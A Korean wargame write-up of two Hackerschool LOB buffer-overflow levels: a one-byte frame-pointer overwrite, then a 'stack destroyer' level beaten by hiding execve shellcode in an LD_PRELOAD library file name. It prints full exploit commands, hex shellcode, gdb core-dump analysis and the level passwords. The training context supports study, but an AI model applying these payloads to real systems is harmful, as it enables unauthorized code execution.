지금 현재 상태의 buffer[40]-4의 주소는 0xbffffb로 시작하는데, 이는 argv[2]의 NOP가 너무 많아서 그런 것으로, 다행히 buffer[40]의 영역은 0xbffffc로 시작하는 주소도 포함되어 있으므로 buffer[40]에 argv[2]의 주소(4byte)를 10번 채우고 0xbffffc로 시작하는 주소의 하위 1byte로 SFP 부분의 1byte를 변조시키면 된다.

참고)

위의 사진을 참고하여 설명하자면

0xbffffc로만 시작하면 된다고 해서 0xbffffc18 주소의 하위 1byte인 18로 SFP 부분의 1byte를 변조시키면 안된다.

이유는 위의 FPO 기법 설명에서도 나왔듯이 leave 명령의 pop ebp로 인해 esp가 0xbffffc1c주소를 가리키게 되고
그 상태에서 ret의 pop eip가 실행되면 buffer[40]의 영역을 벗어나기 때문에 argv[2]의 주소로 jump 하는 것이 아니라
problem_child() 함수의 SFP 부분에 있는 값에 해당하는 위치(0xbffffca0)로 jump 하게 된다.

사실 이 글에서는 argv[2]의 NOP가 너무 많아서 생기는 문제로, 원래의 buffer[40]-4의 주소가 아닌

유도리 있게 buffer[40]의 영역에서 0xbffffc로 시작하는 주소로 대체 하는 것 뿐이지

NOP를 90 정도만 줘도 원래의 buffer[40]-4의 주소는 0xbffffc로 시작한다.

결과적으로 buffer[40]-4의 주소를 대체 할 주소는 0xbffffc00이고, argv[2]의 주소는 0xbffffda6이다.

(위에서도 말했듯이 buffer[40]-4 주소의 6byte가 problem_child() 함수 SFP 부분에 있는 값의 6byte와 같으면 이 글에서처럼 대체하지 말고 buffer[40]-4 주소를 그대로 이용하면 된다. )

./darkknight2 `python -c 'print "\xa6\xfd\xff\xbf" * 10 + "\x00"'` `python -c 'print "\x90" * 100 + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

core 파일을 분석해서 알아낸 정보를 바탕으로 수정된 payload를 인자로 하여 darkknight2를 실행하면 셸이 실행된다.

그렇다면 수정된 payload를 인자로 주어 darkknight를 실행하면 password "new attacker"를 얻을 수 있다.

시행착오

./darkknight2 `python -c 'print "\xbf\xbf\xbf\xbf" * 10 + "\xa0"'` `python -c 'print "\x90" * 50 + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

gdb -q -c core

x/80x $esp-164

위와 같이 argv[2]의 NOP를 50만 주니깐 buffer[40]-4의 주소가 0xbffffc로 시작하긴 하지만

./darkknight2 `python -c 'print "\xd8\xfd\xff\xbf" * 10 + "\x20"'` `python -c 'print "\x90" * 50 + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

0x20을 space bar로 인식해서인지 셸이 실행되지 않는다.

gdb -q -c core

x/80x $esp-164

그래서 새로 생성된 core 파일을 분석해보니 buffer[40]-4의 주소는 여전히 0xbffffc20인데, buffer[40]의 영역이 끝나고 SFP 부분을 보니 0xbffffc20이 아닌 0xbffffc00으로 되어 있다.

아무래도 lob 환경에서 0x20을 0x00으로 인식하는 것이 아닐까 싶다.

./darkknight2 `python -c 'print "\xd8\xfd\xff\xbf" * 10 + "\x24"'` `python -c 'print "\x90" * 50 + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

./darkknight `python -c 'print "\xd8\xfd\xff\xbf" * 10 + "\x24"'` `python -c 'print "\x90" * 50 + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

그래서 유도리 있게 SFP 부분을 20이 아닌 24로 변조해보니 셸이 잘 실행됐다.

[hackerschool lob redhat] LEVEL11 (skeleton -> golem) : stack destroyer(공유 라이브러리와 LD_PRELOAD 환경 변수를 이용)

Sean(slay) — Wed, 7 Feb 2024 19:59:24 +0900

password : shellcoder

문제 확인

/*
        The Lord of the BOF : The Fellowship of the BOF
        - golem
        - stack destroyer
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

        // stack destroyer!
        memset(buffer, 0, 44);
	memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}

1. 커맨드라인 인자가 있어야한다.
2. 첫 번째 커맨드라인 인자 값의 48번째는 0xbf로써 이는 RET 부분에 덮어쓰는 주소 값이 스택 영역의 주소여야 한다는것이다.
3. buffer[40] + 4byte 크기의 공간을 0으로 초기화한다.
4. buffer+48 번째 값 즉 RET 부분 다음 공간부터 0xbfffffff - buffer+48의 결과에 해당하는 크기의 공간만큼을 0으로 초기화 한다.

스택 레이아웃

낮은 주소
...
local variables of main
saved registers of main
return address of main
argc
argv
envp
stack from startup code
argc
argv pointers
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
높은 주소

이번 문제에서는 buffer[40]의 공간과 더불어 SFP 공간을 0으로 초기화 하고, RET 부분은 자유롭게 두지만 RET 부분 다음 공간부터 스택 전체 공간을 0으로 초기화한다.

즉 위의 스택 레이아웃에서 "Return Address of main" 부분 다음에 있는 "argc"부터 스택 전체 공간을 0으로 초기화 한다는 것이다.

그러면 이전에 사용했던 기법들은 물론이고, 실행 파일 이름 자체가 있는 스택의 주소로 반환하도록 할 수도 없다.

buffer[40]의 주소부터 이 주소보다 높은 주소에 해당하는 공간은 다 사용이 못하는 것이므로 buffer[40]의 주소보다 작은 주소에 해당한느 공간을 이용해야 하는데, 이때 사용할 수 있는 방법이 공유 라이브러리와 관련이 있는 LD_PRELOAD 환경 변수를 이용하는 것이다.

프로세스 레이아웃

낮은 주소
....
코드 영역
데이터 영역
힙 영역
공유 라이브러리 영역
스택 영역
커널 영역
....
높은 주소

공유 라이브러리는 위의 프로세스 레이아웃을 참고하면 스택 영역보다 더 작은 주소 쪽에 배치되므로 공유 라이브러리를 만들고, 해당 공유 라이브러리 파일의 이름에 셸코드를 넣은 뒤 해당 공유 라이브러리 파일이 위치한 주소로 반환하도록 하면 된다.

(물론 힙 영역도 스택 영역보다 더 작은 주소 쪽에 해당하므로 힙 영역을 이용해도 된다.)

공유 라이브러리와 LD_PRELOAD

낮은 주소
....
코드 영역
데이터 영역
힙 영역
공유 라이브러리 영역
스택 영역
커널 영역
....
높은 주소

공유(동적) 라이브러리는 windows로 비교하자면 .dll 확장자를 가진 파일과 같으며, 컴파일 될 때가 아닌 프로그램이 시작될 때 메모리에 적재된다는 특징이 있다.

프로세스 레이아웃을 보면 공유 라이브러리들은 스택 영역보다 낮은 주소 영역에 배치된다.

LD_PRELOAD 환경 변수는 LD_PRELOAD에 설정된 라이브러리를 기존의 라이브러리가 로딩되기 전에 먼저 로딩시킨다.

LD_PRELOAD=a.so

예를 들어, 위와 같이 a.so라는 라이브러리 파일을 LD_PRELOAD에 지정해두면, 다른 라이브러리들이 로딩되기 전에 a.so 라는 라이브러리를 로딩 시킨다는 것이다.

이때 만약 a.so 라이브러리에 printf()라는 함수가 있고, a.so 라이브러리가 로딩된 후 로딩되는 라이브러리들에서도 printf() 함수가 있다면 중복되는데, 이럴 때는 LD_PRELOAD에 설정된 a.so 라이브러리가 먼저 로딩되기 때문에 a.so 라이브러리의 printf() 함수가 호출된다.

이로 인해 프로그래머가 임의로 작성한 조작된 함수가 포함된 라이브러리를 만들고 그 라이브러리를 LD_PRELOAD 환경 변수에 등록해 먼저 로딩되도록 하여 후킹을 할 수 있기 때문에 LD_PRELOAD를 이용한 SSL 후킹에 많이 사용되는 방법이다.

단, SetUID가 걸린 파일은 LD_PRELOAD를 사용해도 보안상의 이유로 무시된다.

공유 라이브러리를 만드는 방법과 LD_PRELOAD 환경 변수에 등록

1. C언어를 기준으로 설명한다면 my-lib.c와 같이 .c 확장자 파일에 자신만의 함수를 구현해둔 다음

2. gcc로 컴파일을 하는데, 이때 아래와 같이 -shared 옵션을 붙여주면 된다.

gcc -shared -o my-lib.so my-lib.c

3. 그리고 다른 라이브러리들보다 먼저 로딩되도록 LD_PRELAOD 환경 변수에 등록하면 된다.

LD_PRELOAD=./my-lib

4. LD_PRELOAD 환경 변수에 등록한 라이브러리를 해제하려면 unset 명령을 이용한다.

unset LD_PRELOAD

dummy 값 확인

지역 변수를 위한 공간으로 44byte를 할당하는 것으로 보아 dummy 값은 없다.

공격

공유 라이브러리 생성 및 LD_PRELOAD 환경 변수에 등록

touch a.c

gcc a.c -shared -o `python -c 'print "\x90" * 50 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

export LD_PRELOAD=`python -c 'print "./" + "\x90" * 50 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

현재는 후킹이 아니라 공유 라이브러리 이름에 셸코드를 넣고 해당 공유 라이브러리가 위치한 주소로 반환하도록 할 것이므로 .c 확장자 파일에 아무런 내용이 없어도 된다.

참고) LD_PRELOAD에 등록할 때는 경로까지 추가하여 기입해야 한다.

공유 라이브러리가 위치한 주소를 알아내기 위해 core 파일 생성 후 분석하여 공격

cp golem golem2

./golem2 `python -c 'print "\x90" * 44 + "\xbf\xbf\xbf\xbf"'`

gdb -q -c core

x/1000s $esp-1500

현재 segmentation fault가 발생한 주소보다 공유 라이브러리 영역은 더 작은 주소 쪽에 있으므로 ESP 값에서 임의의 값을 빼 공유 라이브러리 영역을 보면 셸코드가 있는 주소는 0xbffff7cf이다.

./golem `python -c 'print "\x90" * 44 + "\xcf\xf7\xff\xbf"'`

0xbffff7cf 주소로 반환하도록 payload를 인자로 보내며 golem을 실행하면 golem의 password인 cup of coffee를 얻을 수 있다.

LD_PRELOAD로 등록시킨 라이브러리가 올라갔을 때의 메모리 맵 보는 방법 예시

bash2 

ps

cat /proc/[프로세스의 번호]/maps

이전에 위헤서 export로 라이브러리를 로딩시켰기 때문에 export는 생략하고

라이브러리를 로딩한 상태의 메모리 맵을 보는 것이 목표이므로 새로 bash2를 실행한다.

(이전에 실행 중인 bash2는 새로 등록한 라이브러리가 로딩되어 있지 않은 상태이므로 메모리맵에서 해당 라이브러리를 확인할 수 없다.)

그리고 cat 명령어를 이용해 메모리 맵을보면 새로 등록한 라이브러리를 확인할 수 있다.